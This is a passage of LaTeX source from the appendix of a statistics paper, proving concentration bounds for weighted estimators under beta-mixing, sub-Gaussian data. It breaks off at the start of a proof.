(a,b,c,d) \mapsto \Omega(a,b,c,d) &: = \frac{ a }{ d - a + c } + b c \left( \frac{ 1\{ b \geq 0 \} }{ d - a + c } + \frac{ 1\{ b < 0 \} }{ d + a + c } \right) .
\end{align*}
\begin{lemma}\label{lem:UpperBound.zetabar}
For any $d \in \{0,...,M\}$, any $o \in \{0,...,L\}$, any $t \in \mathbb{N}$, if $| \bar{J}_{t}(d) | \leq \gamma$ and $|f_{t}(d) - e_{t}(d) | \leq \gamma$ for some $\gamma \geq 0$, then:
(1)
\begin{align*}
| \zeta^{o}_{t}(d) - \theta(d) | \leq \Omega_{t} ( \gamma) : = \Omega ( \gamma , | \bar{\zeta}^{o} _{0}(d)| , \nu_{0}(d)/t , e_{t}(d) ),
\end{align*}
and
\begin{enumerate}
\item It is increasing in the first argument ($a$).
\item It is increasing in the second argument ($b$).
\item If $b=0$, then it is decreasing in the third argument ($c$).
\item If $b \geq 0 $, then it is decreasing in its fourth argument ($d$).
\end{enumerate}
and
\begin{align*}
\Omega ( 0 , b , c , d ) = \frac{ bc }{ d + c } .
\end{align*}
(2) And,
\begin{align*}
\zeta^{o}_{t}(d) - \theta(d) \leq \Omega_{+,t} ( \gamma ) : = \Omega ( \gamma , \bar{\zeta}^{o} _{0}(d) , \nu_{0}(d)/t , e_{t}(d) ),
\end{align*}
(3) And,
\begin{align*}
- ( \zeta^{o}_{t}(d) - \theta(d) ) \leq \Omega_{-,t} ( \gamma ) : = \Omega ( \gamma , - \bar{\zeta}^{o}_{0}(d) , \nu_{0}(d)/t , e_{t}(d) ),
\end{align*}
\end{lemma}
The next lemma provides similar bounds for $(\zeta^{\alpha}_{t})_{t}$. To do this, let $\Gamma : \mathbb{R} \times \mathbb{R}^{L+1} \times \mathbb{N}^{L+1} \times [0,1] \rightarrow \mathbb{R}$ be such that
\begin{align*}
& \Gamma( \gamma, \zeta_{0}(d) - \theta(d) , \nu_{0}(d) , e_{t}(d) ) \\
& : = \sum_{o=0}^{L} \overline{\alpha}^{o} ( \gamma, \gamma/(e_{t}(d) - \gamma), | \zeta_{0}(d) - \theta(d) | , \nu_{0}(d) , e_{t}(d) ) \Omega^{+}( \gamma, \zeta^{o}_{0}(d) - \theta(d) , \nu^{o}_{0}(d)/t , e_{t}(d) ) \\
& + \sum_{o=0}^{L} \underline{\alpha}^{o} ( \gamma, \gamma/(e_{t}(d) - \gamma), | \zeta_{0}(d) - \theta(d) | , \nu_{0}(d) , e_{t}(d) ) \Omega^{-}( \gamma, \zeta^{o}_{0}(d) - \theta(d) , \nu^{o}_{0}(d)/t , e_{t}(d) )
\end{align*}
where $\Omega^{+} : = 1\{ \Omega \geq 0 \} \Omega$ and $\Omega^{-} : = 1\{ \Omega \leq 0 \} \Omega$ and $\bar{\alpha}$ and $\underline{\alpha}$ are upper and lower bounds for weights and are defined in Lemma \ref{lem:alpha.bound}.
The following lemma is analogous to Lemma \ref{lem:UpperBound.zetabar}, its proof is also relegated to the end of this appendix.
\begin{lemma}\label{lem:UpperBound.zetabar.alpha}
For any $d \in \{0,...,M\}$, any $t \in \mathbb{N}$, if $| \bar{J}_{t}(d) | \leq \gamma$ and $|f_{t}(d) - e_{t}(d) | \leq \gamma$ for some $\gamma \geq 0$, then:
(1)
\begin{align*}
| \zeta^{\alpha}_{t}(d) - \theta(d) | \leq \Gamma ( \gamma) : = \Gamma ( \gamma , | \bar{\zeta} _{0}(d)| , \nu_{0}(d) , e_{t}(d) ),
\end{align*}
(2) and,
\begin{align*}
\zeta^{\alpha}_{t}(d) - \theta(d) \leq \Gamma_{+} ( \gamma ) : = \Gamma ( \gamma , \bar{\zeta} _{0}(d) , \nu_{0}(d) , e_{t}(d) ),
\end{align*}
(3) and,
\begin{align*}
- ( \zeta^{\alpha}_{t}(d) - \theta(d) ) \leq \Gamma_{-} ( \gamma ) : = \Gamma ( \gamma , - \bar{\zeta}_{0}(d) , \nu_{0}(d) , e_{t}(d) ).
\end{align*}
(4) And $\gamma \mapsto \Gamma ( \gamma , \bar{\zeta} _{0}(d) , \nu_{0}(d) , e_{t}(d) )$ is non-decreasing.
\end{lemma}
\subsection{Concentration Bounds for $(f_{t})_{t}$, $(J_{t})_{t}$ and $(m_{t})_{t}$}
\label{app:concentration.bounds}
The next lemmas provides concentration bounds for $(f_{t})_{t}$, $(J_{t})_{t}$ as well as for $(m_{t})_{t}$. For this, we introduce the following constants: For any $\epsilon>0$,
\begin{align}\label{eqn:mathbfB}
\mathbf{B}(\epsilon) : = \min\{0.5 \varrho(\epsilon) ,1\}/C_{M}
\end{align}
\begin{align}\label{eqn:mathbfC}
\mathbf{C}(\epsilon) : = \frac{ \min \{ (0.5 \varrho(\epsilon) )^{2},1\} }{ 181 C_{M} }
\end{align}
where
$C_{M}$ is as in Lemma \ref{lem:mixing}. Note that $\mathbf{C}$ and $\mathbf{B}$ are non-decreasing as a function of $\epsilon$.
The proofs of the following lemmas are relegated to the end of this appendix.
\begin{lemma}\label{lem:concentration.freq}
For any $d \in \{0,...,M\}$, any initial probability $\pi$ such that $\int V(z) \pi(dz) < \infty$, any $a>0$ and any $t \geq 2 \min \{ 0.5 \varrho(\epsilon) , 2\}$:
\begin{align*}
P_{\pi} \left( | f_{t}(d) - t^{-1} \sum_{s=1}^{t} E_{\pi}[ \delta(Z_{s})(d) ] | \geq a \right) \leq
e^{ - \frac{ \min \{ (0.5 \varrho(\epsilon) )^{2},1\} t a^{2} }{ 4 a \min\{0.5 \varrho(\epsilon) ,1\} + 180 C_{M} \log t } } .
\end{align*}
And if $t \geq e^{ 4 a \mathbf{B}(\epsilon) }$, then
\begin{align*}
P_{\pi} \left( | f_{t}(d) - t^{-1} \sum_{s=1}^{t} E_{\pi}[ \delta(Z_{s})(d) ] | \geq a \right) \leq
e^{ - \frac{t}{\log t } a^{2} \mathbf{C}(\epsilon) } .
\end{align*}
\end{lemma}
\begin{remark}
The second expression shows the ``cost" of not working with IID data. If $(D_{t})_{t}$ were IID --- as it is the case with $\epsilon=1$ --- then the bound will be $2e^{ - t a^{2} }$. However, for general $\epsilon<1$, $(D_{t})_{t}$ are $\beta$-mixing with exponential decay (see Proposition \ref{pro:Z.mixing}). Because of this, we loose a factor $\log t$ and a constant $\mathbf{C}(\epsilon)$. $\triangle$
\end{remark}
\begin{lemma}\label{lem:concentration.avgt}
For any $d \in \{0,...,M\}$, any $a \geq 0$ and any $t \geq 0$,
\begin{align*}
P_{\pi} \left( \left| t^{-1} \sum_{s=1}^{t} ( Y_{s}(d) - \theta(d) ) 1\{ D_{s} = d \} \right| \geq a \right) \leq 2 e^{ - t \lambda^{\ast}(a,\epsilon) }
\end{align*}
where
\begin{align*}
\lambda^{\ast}(a,\epsilon) : = \max_{\lambda \geq 0 }\{ a \lambda - F(\lambda , \epsilon) \},
\end{align*}
where $F(\lambda , \epsilon) : = \log ( \epsilon M + (1-\epsilon M ) e^{0.5 \upsilon \sigma(d)^{2} \lambda^{2} } )$, and $\lambda^{\ast}$ is increasing in both arguments and $\lambda^{\ast}(a,\epsilon) \geq \lambda^{\ast}(a,0) = \frac{a^{2}}{2 \upsilon \sigma(d)^{2}}$ and $\lambda^{\ast}(0,\epsilon) = 0$ and $\lim_{a \rightarrow \infty} \frac{ \lambda^{\ast}(a,\epsilon) }{ a } = \infty$.
\end{lemma}
\begin{remark}\label{rem:sub-gaussian}
We use Assumption \ref{ass:sub-gauss}(i) in this lemma. in particular, it is used in order to get an upper bound with exponential decay. Indeed, the assumption could be replaced by sub-exponential or any other type of control on the MGF of $Y(d)$, e.g., $E[ e^{ \lambda (Y(d) - \theta(d))} ] \leq e^{ \kappa(\lambda)} $ for some decreasing function $\lambda \mapsto \kappa(\lambda)$. This change, however, will affect the upper bound obtained in the lemma; it will decay slower than the current one. In fact, up to constant, the result in the lemma will change to
\begin{align*}
P_{\pi} \left( \left| t^{-1} \sum_{s=1}^{t} ( Y_{s}(d) - \theta(d) ) 1\{ D_{s} = d \} \right| \geq a \right) \leq 2 e^{ - t \max_{\lambda \geq 0 } \{ a \lambda - F(\lambda , \epsilon) \} } .
\end{align*}
with where $F(\lambda , \epsilon) : = \log ( \epsilon M + (1-\epsilon M ) e^{ \kappa(\lambda) } )$. $\triangle$
\end{remark}
For completeness, we provide a concentration bound for $m_{t}$ around the true average effect $\theta$.
\begin{lemma}\label{lem:concentration.avg}
For any $d \in \{0,...,M\}$, any initial probability $\pi$ such that $\int V(z) \pi(dz) < \infty$, any $a>0$ and any $t \geq e^{ 4 a \mathbf{B}(\epsilon) } $,
\begin{align*}
P_{\pi} \left( | m_{t}(d) - \theta(d) | > a \right) \leq &3 \max \left\{
e^{ \left\{ - \frac{t}{ \log t } \left( \frac{ e_{t}(d) a }{ 1 + a } \right)^{2} \min \left\{ \mathbf{C}(\epsilon) , 0.5 \frac{ \log t }{ \upsilon \sigma(d)^{2} } \right\} \right\} } , e^{ \left\{ \log t - 0.5 \frac{a^{2} } { \upsilon \sigma(d)^{2} } \right\} } \right\} \\
\leq & 3
e^{ - \frac{t}{\log t } \max \left\{ \left( \frac{ e_{t}(d) a }{ 1 + a } \right)^{2} \min \left\{ \mathbf{C}(\epsilon) , 0.5 \frac{ \log 2 }{ \upsilon \sigma(d)^{2} } \right\} , \frac{0.5 a^{2} \log T } { T \upsilon \sigma(d)^{2} } \right\} } .
\end{align*}
\end{lemma}
\subsection{Proof Proposition \ref{pro:concentration.alpha.zeta} and Corollary \ref{cor:OracleRobust} }
\label{app:concentration.alpha.zeta}
We now prove Proposition \ref{pro:concentration.alpha.zeta}.
\begin{proof}[Proof of Proposition \ref{pro:concentration.alpha.zeta}]
Recall that $ \bar{\zeta}_{t}(d) : = \zeta_{t}(d) - \theta(d)$, $\bar{Y}_{s}(d) : = (Y_{s}(d) - \theta(d) ) $, $\bar{J}_{t}(d) : = \sum_{s=1}^{t} 1\{ D_{s} = d \} \bar{Y}_{s}(d) /t $ and $f_{t}(d) : = \sum_{s=1}^{t} 1\{ D_{s} = d \} /t $.
For any $\gamma \geq 0$, let
\begin{align*}
S(t,\gamma) : = \left\{ | \bar{J}_{t}(d) | \leq \gamma \right\},
\end{align*}
and
\begin{align*}
R(t,\gamma) : = \left\{ | f_{t}(d) - e_{t}(d) | \leq \gamma \right\},
\end{align*}
where, recall, $e_{t}(d) = t^{-1} \sum_{s=1}^{t} E[\delta(Z_{s})(d)]$. Given these sets and with $\gamma \leq e_{t}(d)$, it also follows that
\begin{align*}
|\bar{m}_{t}(d) | = \left| \bar{J}_{t}(d) / f_{t}(d) \right| \leq \gamma/(e_{t}(d) - \gamma ).
\end{align*}
Therefore, by Lemma \ref{lem:alpha.bound}, it follows that, for any $o \in \{0,...,L\}$ \begin{align*}
\alpha^{o}_{t}(d) \leq \bar{\alpha}( \gamma , \gamma/(e_{t}(d) - \gamma ) , |\bar{\zeta}^{o}_{0}(d) | , \nu^{o}_{0}(d) , e_{t}(d) ) .
\end{align*}
This, and the fact that for any $d$, any $o$ and any $t \geq 1$,
\begin{align*}
\zeta^{o}_{t}(d) = & \frac{ \sum_{s=1}^{t} 1\{ D_{s} = d \} Y_{s}(d) }{ \nu^{o}_{t-1}(d) + 1\{ D_{t} = d \} } + \frac{ \nu^{o}_{0}(d) \zeta_{0}(d) }{ \nu_{t-1}(d) + 1\{ D_{t} = d \} } \\
= & \frac{ \sum_{s=1}^{t} 1\{ D_{s} = d \} Y_{s}(d) }{ \nu^{o}_{t}(d) } + \frac{ \nu_{0}(d) \zeta_{0}(d) }{ \nu^{o}_{t}(d) } \\
= & \frac{ 1 }{ f_{t}(d) + \nu^{o}_{0}(d)/t } \bar{J}_{t}(d) + \frac{ \nu^{o}_{0}(d)/t }{ f_{t}(d) + \nu^{o}_{0}(d)/t } \bar{\zeta}^{o}_{0}(d),
\end{align*}
imply that conditional on $S(t,\gamma) \cap R(t,\gamma)$,
\begin{align*}
|\sum_{o=0}^{L} \alpha^{o}_{t}(d) \zeta^{o}_{t}(d) - \theta(d) | \leq & \sum_{o=0}^{L} \bar{\alpha}( \gamma , \gamma/(e_{t}(d) - \gamma ) , |\bar{\zeta}^{o}_{0}(d) | , \nu^{o}_{0}(d) , e_{t}(d) ) \Omega( \gamma, \bar{\zeta}^{o}_{0}(d) , \nu^{o}_{0}(d) , e_{t}(d) )\\
= & \Gamma ( \gamma, \bar{\zeta}_{0}(d) , \nu_{0}(d) , e_{t}(d) ) .
\end{align*}
Therefore, for any $\delta \in \mathbb{R}$,
\begin{align*}
P_{\pi} \left( |\sum_{o=0}^{L} \alpha^{o}_{t}(d) \zeta^{o}_{t}(d) - \theta(d) | > \delta \right) \leq 1\left\{ \Gamma ( \gamma, \bar{\zeta}_{0}(d) , \nu_{0}(d) , e_{t}(d) ) > \delta \right\} + P_{\pi} \left( S(t,\gamma)^{C} \right) + P_{\pi} \left( R(t,\gamma)^{C} \right).
\end{align*}
Now, set $\delta = \Gamma ( \gamma^{\ast}_{t} (\varepsilon), \bar{\zeta}_{0}(d) , \nu_{0}(d) , e_{t}(d) )$, $\gamma = \gamma^{\ast}_{t}$ with $\gamma^{\ast}_{t} (\varepsilon)= \sqrt{ \frac{ \log t } { t} } \sqrt{ \frac{\varepsilon } { \mathbf{C}(\epsilon) }} $. Observe that $\gamma^{\ast}_{t}(\varepsilon) \leq e_{t}(d)$, or equivalently, $ \log t/t \leq e_{t}(d)^{2} \frac{\mathbf{C}(\epsilon)}{\varepsilon} $ holds because it is assumed that $ \frac{\varepsilon }{ e_{t}(d)^{2} \mathbf{C}(\epsilon) } \leq t/\log t $.
We invoke Lemmas \ref{lem:concentration.avgt} and \ref{lem:concentration.freq}, for this we need to check that $t \geq e^{ \max\{ 4 \gamma^{\ast}_{t} (\varepsilon) \mathbf{B}(\epsilon) , 2 \upsilon \sigma(d)^{2} \} } $. The function $t \mapsto \sqrt{ \frac{ \log t } { t} }$ has its maximum in the interior at $t=e$ and equal to $ \sqrt{ \frac{ \log e } { e} } = 1/e^{0.5} < 1 $. Hence, $t \geq e^{ \max\{ 4 \gamma^{\ast}_{t} (\varepsilon) \mathbf{B}(\epsilon) , 2 \upsilon \sigma(d)^{2} \} } $ is implied by $t \geq e^{ \max\{ 4 \sqrt{ \frac{\varepsilon } { \mathbf{C}(\epsilon) }} \mathbf{B}(\epsilon) , 2 \upsilon \sigma(d)^{2} \} } $, which is assumed. Therefore, by Lemmas \ref{lem:concentration.avgt} and \ref{lem:concentration.freq} and our choice of $\delta$, the RHS in the previous display is less than $3 e^{ - \frac{t}{ \log t } \gamma^{\ast}_{t} (\varepsilon) ^{2} \mathbf{C}(\epsilon) } $.
By our choice of $\gamma^{\ast}_{t}(\varepsilon)$, it follows that
\begin{align*}
P_{\pi} \left( | \bar{\zeta}_{t}(d) | > \delta \right) \leq 3 e^{ - \varepsilon },
\end{align*}
as desired.
The monotonicity claim follows from Lemma \ref{lem:UpperBound.zetabar.alpha}(4) and the fact that $\mathbf{C}$ is non-decreasing.
\end{proof}
We now proof Corollary \ref{cor:OracleRobust}.
\begin{proof}[Proof of Corollary \ref{cor:OracleRobust}]
We can prove the result using limits. For any given $o \ne 0$, let $|\bar{s}_{0}^{o}(d)| : = \nu^{o}_{o}(d) |\bar{\zeta}_{0}^{o}(d)| $ and consider the limit of this quantity going to $\infty$.
By Lemmas \ref{lem:alpha.bound} and \ref{lem:UpperBound.zetabar}, $ \overline{\alpha}^{o}( \gamma , |\bar{\zeta}^{o}_{0}(d) | , \nu^{o}_{0}(d), e_{t}(d) ) \rightarrow 0$ and $ \Omega( \gamma , |\bar{\zeta}_{0}(d) | , \nu^{o}_{0}(d), e_{t}(d) ) \rightarrow \infty$. However, the product of these quantities converges to 0 because the first quantity converges faster to 0 (at an exponential rate) than the second quantity, which diverges but linearly. Therefore,
\begin{align*}
\Gamma \left( \gamma , |\bar{\zeta}_{0}(d)| , \nu_{0}(d) , e_{t}(d) \right) \rightarrow \Omega(\gamma, | \bar{\zeta}^{o}_{0}(d) | , \nu^{o}_{0}(d) /t, e_{t}(d) ).
\end{align*}
Since $\Gamma$ is jointly continuous as a function of $\gamma$ and $|\bar{\zeta}_{0}(d)|$ and $\nu_{0}(d)$, this convergence is uniform over $\gamma$ in compact sets and over $t \in \{1,...,T\}$.
Thus, this result implies that for any given $\delta>0$, there exists a $C$ such that
\begin{align*}
\Omega \left( \sqrt{ \frac{ \log t } {t} } \sqrt{ \frac {\varepsilon} { \mathbf{C}(\epsilon)} } , |\bar{\zeta}^{o}_{0}(d)| , \nu^{o} _{0}(d)/t , e_{t}(d) \right) \geq \Gamma \left( \sqrt{ \frac{ \log t } {t} } \sqrt{ \frac {\varepsilon} { \mathbf{C}(\epsilon)} } , |\bar{\zeta}_{0}(d)| , \nu _{0}(d) , e_{t}(d) \right) - \delta
\end{align*}
for any $|\bar{s}_{0}^{o}(d)| \geq C$.
\end{proof}
\subsection{Proofs of Supplemental Lemmas}
\begin{proof}[Proof of Lemma \ref{lem:UpperBound.zetabar}]
(1) We omit $^{o}$ from the notation. Observe that
\begin{align*}
\bar{\zeta}_{t}(d) = & \frac{ \sum_{s=1}^{t} 1\{ D_{s} = d \} \bar{Y}_{s}(d) }{ \nu_{t}(d) } + \frac{ \nu_{0}(d) \bar{\zeta}_{0}(d) }{ \nu_{t}(d) } \\
= & \frac{ 1 }{ f_{t}(d) + \nu_{0}(d)/t } \bar{J}_{t}(d) + \frac{ \nu_{0}(d)/t }{ f_{t}(d) + \nu_{0}(d)/t } \bar{\zeta}_{0}(d)
\end{align*}
where $ \bar{\zeta}_{t}(d) : = \zeta_{t}(d) - \theta(d)$, $\bar{Y}_{s}(d) : = (Y_{s}(d) - \theta(d) ) $, $\bar{J}_{t}(d) : = \sum_{s=1}^{t} 1\{ D_{s} = d \} \bar{Y}_{s}(d) /t$ and $f_{t}(d) : = \sum_{s=1}^{t} 1\{ D_{s} = d \} /t $.
Under our assumptions, $|\bar{J}_{t}(d)| \leq \gamma$ and thus
\begin{align*}
|\bar{\zeta}_{t}(d)| \leq \frac{ \gamma }{ f_{t}(d) + \nu_{0}(d)/t } + \frac{ \nu_{0}(d)/t |\bar{\zeta}_{0}(d)| }{ f_{t}(d) + \nu_{0}(d)/t } .
\end{align*}
Moreover, as $|f_{t} - \pi_{t}(d) | \leq \gamma$ it also follows that
\begin{align*}
|\bar{\zeta}_{t}(d)| \leq \frac{ \gamma }{ \pi_{t}(d) -\gamma + \nu_{0}(d)/t } + \frac{ \nu_{0}(d)/t |\bar{\zeta}_{0}(d)| }{ \pi_{t}(d) - \gamma + \nu_{0}(d)/t } .
\end{align*}
We now show the properties of $\Omega$. Properties 2-4 are trivial, we thus only prove 1. To do this, note that
\begin{align*}
\frac{d \Omega(a,b,c,d)} {da} = \frac{ d+c }{ ( d-a +c )^{2} } + \frac{bc 1\{b \geq 0\}}{ ( d-a +c )^{2} } - \frac{bc 1\{b < 0\}}{ ( d + a +c )^{2} }
\end{align*}
which is positive as $d,c$ are non-negative.
\bigskip
(2) and (3) The proof is completely analogous and thus omitted.
\end{proof}
\begin{proof}[Proof of Lemma \ref{lem:UpperBound.zetabar.alpha}]
By Lemma \ref{lem:alpha.bound},
\begin{align*}
\bar{\zeta}^{\alpha}_{t}(d) = & \sum_{o=0}^{L} \alpha^{o}_{t}(d) \bar{\zeta}^{o}_{t}(d) \\
\leq & \sum_{o=0}^{L} \frac{ \exp \bar{\ell} ( \gamma, \gamma/(e_{t}(d) - \gamma), | \zeta^{o}_{0}(d) - \theta(d) | , \nu^{o}_{0}(d) , e_{t}(d) ) }{ \sum_{o'=0}^{L} \exp \underline{\ell} ( \gamma, \gamma/(e_{t}(d) - \gamma), | \zeta^{o'}_{0}(d) - \theta(d) | , \nu^{o'}_{0}(d) , e_{t}(d) ) } 1\{ \bar{\zeta}^{o}_{t}(d) \geq 0 \} \bar{\zeta}^{o}_{t}(d) \\
& + \sum_{o=0}^{L} \frac{ \exp \underline{\ell} ( \gamma, \gamma/(e_{t}(d) - \gamma), | \zeta^{o}_{0}(d) - \theta(d) | , \nu^{o}_{0}(d) , e_{t}(d) ) }{ \sum_{o'=0}^{L} \exp \bar{\ell} ( \gamma, \gamma/(e_{t}(d) - \gamma), | \zeta^{o'}_{0}(d) - \theta(d) | , \nu^{o'}_{0}(d) , e_{t}(d) ) } 1\{ \bar{\zeta}^{o}_{t}(d) < 0 \} \bar{\zeta}^{o}_{t}(d) ,
\end{align*}
and
\begin{align*}
- \bar{\zeta}^{\alpha}_{t}(d) = & \sum_{o=0}^{L} \alpha^{o}_{t}(d) ( - \bar{\zeta}^{o}_{t}(d) ) \\
\leq & \sum_{o=0}^{L} \frac{ \exp \bar{\ell} ( \gamma, \gamma/(e_{t}(d) - \gamma), | \zeta^{o}_{0}(d) - \theta(d) | , \nu^{o}_{0}(d) , e_{t}(d) ) }{ \sum_{o'=0}^{L} \exp \underline{\ell} ( \gamma, \gamma/(e_{t}(d) - \gamma), | \zeta^{o'}_{0}(d) - \theta(d) | , \nu^{o'}_{0}(d) , e_{t}(d) ) } 1\{ -\bar{\zeta}^{o}_{t}(d) \geq 0 \} (-\bar{\zeta}^{o}_{t}(d)) \\
& + \sum_{o=0}^{L} \frac{ \exp \underline{\ell} ( \gamma, \gamma/(e_{t}(d) - \gamma), | \zeta^{o}_{0}(d) - \theta(d) | , \nu^{o}_{0}(d) , e_{t}(d) ) }{ \sum_{o'=0}^{L} \exp \bar{\ell} ( \gamma, \gamma/(e_{t}(d) - \gamma), | \zeta^{o'}_{0}(d) - \theta(d) | , \nu^{o'}_{0}(d) , e_{t}(d) ) } 1\{ -\bar{\zeta}^{o}_{t}(d) < 0 \} (-\bar{\zeta}^{o}_{t}(d) ).
\end{align*}
\bigskip
By Lemma \ref{lem:UpperBound.zetabar}, we know that $| \bar{\zeta}^{o}_{t}(d)| \leq \Omega_{t}( \gamma) $; $ \bar{\zeta}^{o}_{t}(d) \leq \Omega_{+,t}( \gamma) $ and $- \bar{\zeta}^{o}_{t}(d) \leq \Omega_{-,t}( \gamma) $. These and the above inequalities imply 1-3.
\bigskip
(4) We first consider the case where $\Omega \leq 0$. In this case, $\Gamma$ is the sum of the product of a positive function --- $\frac{ \exp \underline{\ell}(\gamma, \gamma / (e_{t}(d) - \gamma) , |\bar{\zeta}^{o}_{0}(d) | , \nu^{o}_{0}(d), e_{t}(d) ) }{ \sum_{o'=0}^{L} \exp \underline{\ell}(\gamma, \gamma / (e_{t}(d) - \gamma) , |\bar{\zeta}^{o'}_{0}(d) | , \nu^{o'}_{0}(d), e_{t}(d) ) }$ --- and a negative one given by $\Omega$. By Lemma \ref{lem:ell.properties} and the fact that $\gamma \mapsto \gamma / (e_{t}(d) - \gamma)$ is increasing in the relevant domain, the first function is decreasing in $\gamma$. By Lemma \ref{lem:UpperBound.zetabar}, $\Omega$ is non-decreasing as a function of $\gamma$. Thus, the product is non-decreasing and so is the sum. Analogous arguments prove the same result for the case $\Omega \geq 0$.
\end{proof}
\begin{proof}[Proof of Lemma \ref{lem:concentration.freq} ]
By proposition \ref{pro:Z.mixing}, $(\zeta^{o}_{t} , \nu^{o}_{t} ,D_{t})_{t}$ is $\beta$-mixing with the same coefficients, and this implies that the $\alpha$-mixing coefficients are also of order $O(e^{ - 0.5 k \varrho(\epsilon)})$.
Throughout the proof, let $c: = 0.5 \varrho(\epsilon)$.
By Corollary 12 in \cite{Merlevede:2009}, it follows that for any $ t \geq 2(\max\{ c, 2\})$
\begin{align*}
P_{\pi} \left( \left| \sum_{s=1}^{t} (1\{ D_{s} = d \} - E_{\pi}[ \delta(Z_{s})(d) ] ) \right| \geq ta \right) \leq e^{ \left\{ - \frac{ \min \{ c,1\} t^{2} a^{2} }{ 4 a t + t (\log t ) 4K \min \{ c,1\} } \right\}}
\end{align*}
where $K: = 6.2 (1 + 8 C_{M} \sum_{i} e^{ - 2 c i } ) + (1/c + 8/c^{2}) + 2/(c \log 2) \leq 6.5 + 30 C_{M} /c + 8/c^{2} \leq 45 C_{M} /\min\{1,c^{2}\}$. Thus,
\begin{align*}
P_{\pi} \left( \left| \sum_{s=1}^{t} (1\{ D_{s} = d \} - E_{\pi}[ \delta(Z_{s})(d) ] ) \right| \geq ta \right) \leq & e^{ \left\{ - \frac{ \min \{ c,1\} t a^{2} }{ 4 a + (\log t ) 180 C_{M} \min \{ c,1\}/\min\{c^{2},1\} } \right\} } \\
= & e^{ \left\{ - \frac{ \min \{ c,1\} t a^{2} }{ 4 a + (\log t ) 180 C_{M} /\min\{c,1\} } \right\} } \\
= & e^{ - \frac{ \min \{ c^{2},1\} t a^{2} }{ 4 a \min\{c,1\} + 180 C_{M} \log t } } .
\end{align*}
If $C_{M} \log t \geq 4a \min \{ c,1\} $, then $4 a \min\{c,1\} + 180 C_{M} \log t \leq 181 C_{M} \log t $ and thus
\begin{align*}
P_{\pi} \left( \left| \sum_{s=1}^{t} (1\{ D_{s} = d \} - E_{\pi}[ \delta(Z_{s})(d) ] ) \right| \geq ta \right) \leq & e^{ - \frac{ \min \{ c^{2},1\} t a^{2} }{ 181 C_{M} \log t } } .
\end{align*}
\end{proof}
\begin{proof}[Proof of Lemma \ref{lem:concentration.avgt}]
Let $W_{s}(d) : = ( Y_{s}(d) - \theta(d) ) 1\{ D_{s} = d \}$. By the Markov inequality, it follows that, for any $\lambda> 0$,
\begin{align*}
P_{\pi} \left( t^{-1} \sum_{s=1}^{t} W_{s}(d) \geq a \right) \leq E_{\pi} \left[ \prod_{s=1}^{t} e^{ \lambda W_{s}(d) } \right] e^{ - a \lambda t }
\end{align*}
Observe that
\begin{align*}
E_{\pi} \left[ \prod_{s=1}^{t} \exp\{ \lambda W_{s}(d) \} \right] = E_{\pi} \left[ \prod_{s=1}^{t-1} \exp\{ \lambda W_{s}(d) \} E_{t} \left[ \exp\{ \lambda W_{t}(d) \} \right] \right]
\end{align*}
where $E_{t}[.]$ denotes the conditional expectation given $(Z_{s})_{s=1}^{t}$ (but not $Y_{t}(d)$, also, observe that $Y_{t}(d)$ is independent of past $Y$, given $D_{t}$). By Assumption \ref{ass:sub-gauss}, $Y_{t}(d)$ is sub-gaussian, hence
\begin{align*}
E_{t} \left[ \exp\{ \lambda W_{t}(d) \} \right] = & E_{t} \left[ \exp\{ \lambda 1\{D_{t} = d\} (Y_{t}(d) - \theta(d) ) \} \right] \\
\leq & \exp \{ 0.5 \upsilon \sigma(d)^{2} 1\{D_{t} = d\} \lambda^{2} \}.
\end{align*}
Hence,
\begin{align*}
E_{\pi} \left[ \prod_{s=1}^{t} \exp\{ \lambda W_{s}(d) \} \right] \leq E_{\pi} \left[ E_{t-1} \left[ \exp \{ 0.5 \upsilon \sigma(d)^{2} 1\{D_{t} = d\} \lambda^{2} + \lambda W_{t-1}(d) \} \right] \prod_{s=1}^{t-2} \exp\{ \lambda W_{s}(d) \} \right].
\end{align*}
Given Assumption \ref{ass:PF.epsilon}, we can set $\delta(\cdot)(d) = (M+1) \epsilon \frac{1}{M+1} + \left( 1- \epsilon (M+1) \right) \bar{\delta}(.)(d)$ for any $d \in \mathbb{D}$ where $\bar{\delta} : = \frac{\delta - \epsilon }{ 1- \epsilon (M+1) }$. That is, with probability $\epsilon$, $D_{t}$ is IID and given this event, $D_{t}$ \emph{is not} equal to $d$ with probability $1-1/(M+1)$. Hence, the event that $D_{t}$ is IID and not equal to $d$ has probability $\epsilon M$. Thus, conditional on information until $t-1$,
\begin{align*}
E_{t-1} \left[ \exp \{ 0.5 \upsilon \sigma(d)^{2} 1\{D_{t} = d\} \lambda^{2} + \lambda W_{t-1}(d) \} \right] \leq \left( \epsilon M + \left( 1- \epsilon M \right) \exp\{ 0.5 \upsilon \sigma(d)^{2} \lambda^{2} \} \right) E_{t-1} \left[ \exp \{ \lambda W_{t-1}(d) \} \right].
\end{align*}
Iterating, it follows that
\begin{align*}
E_{\pi} \left[ \prod_{s=1}^{t} \exp\{ \lambda W_{s}(d) \} \right] \leq \left( \epsilon + (1-\bar{\epsilon}) \exp\{ 0.5 \upsilon \sigma(d)^{2} \lambda^{2} \} \right)^{t} & = \exp \left( t \log \left( \epsilon M + (1- \epsilon M ) \exp\{ 0.5 \upsilon \sigma(d)^{2} \lambda^{2} \} \right) \right) \\
& = : \exp t F(\lambda , \epsilon).
\end{align*}
Let
\begin{align*}
\lambda^{\ast}(a , \epsilon) : = \max_{\lambda \geq 0 }\{ a \lambda - F(\lambda , \epsilon) \}
\end{align*}
exists and is positive. Therefore,
\begin{align*}
P_{\pi} \left( t^{-1} \sum_{s=1}^{t} W_{s}(d) \geq a \right) \leq \exp \{ - t \lambda^{\ast}(a, \epsilon) \}
\end{align*}
By analogous calculations, it is easy to show that
\begin{align*}
P_{\pi} \left( |t^{-1} \sum_{s=1}^{t} W_{s}(d) | \geq a \right) \leq 2 \exp \{ - t \lambda^{\ast}(a,\epsilon) \}.
\end{align*}
Observe that $\epsilon \mapsto F(\lambda , \epsilon)$ is decreasing and so $\epsilon \mapsto \lambda^{\ast}(a,\epsilon)$ is increasing. It is also easy to see that $a \mapsto F(\lambda , \epsilon)$ is also increasing. Moreover, $ \lambda^{\ast}(a,0) = \max_{\lambda \geq 0 }\{ a \lambda - 0.5 \upsilon \sigma(d)^{2} \lambda^{2} \} = \frac{a^{2}}{2 \upsilon \sigma(d)^{2}}$.
Finally, note that $ \lambda^{\ast}(a , \epsilon) / a \geq \lambda - F(\lambda, \epsilon)/a$ for any $\lambda \geq 0$. In particular, $\lambda : = F^{-1}(a , \epsilon)$. As $a$ diverges, this quantity also diverges and thus $ \lambda^{\ast}(a , \epsilon) / a$ also diverges.
\end{proof}
\begin{proof}[Proof for Lemma \ref{lem:concentration.avg}]
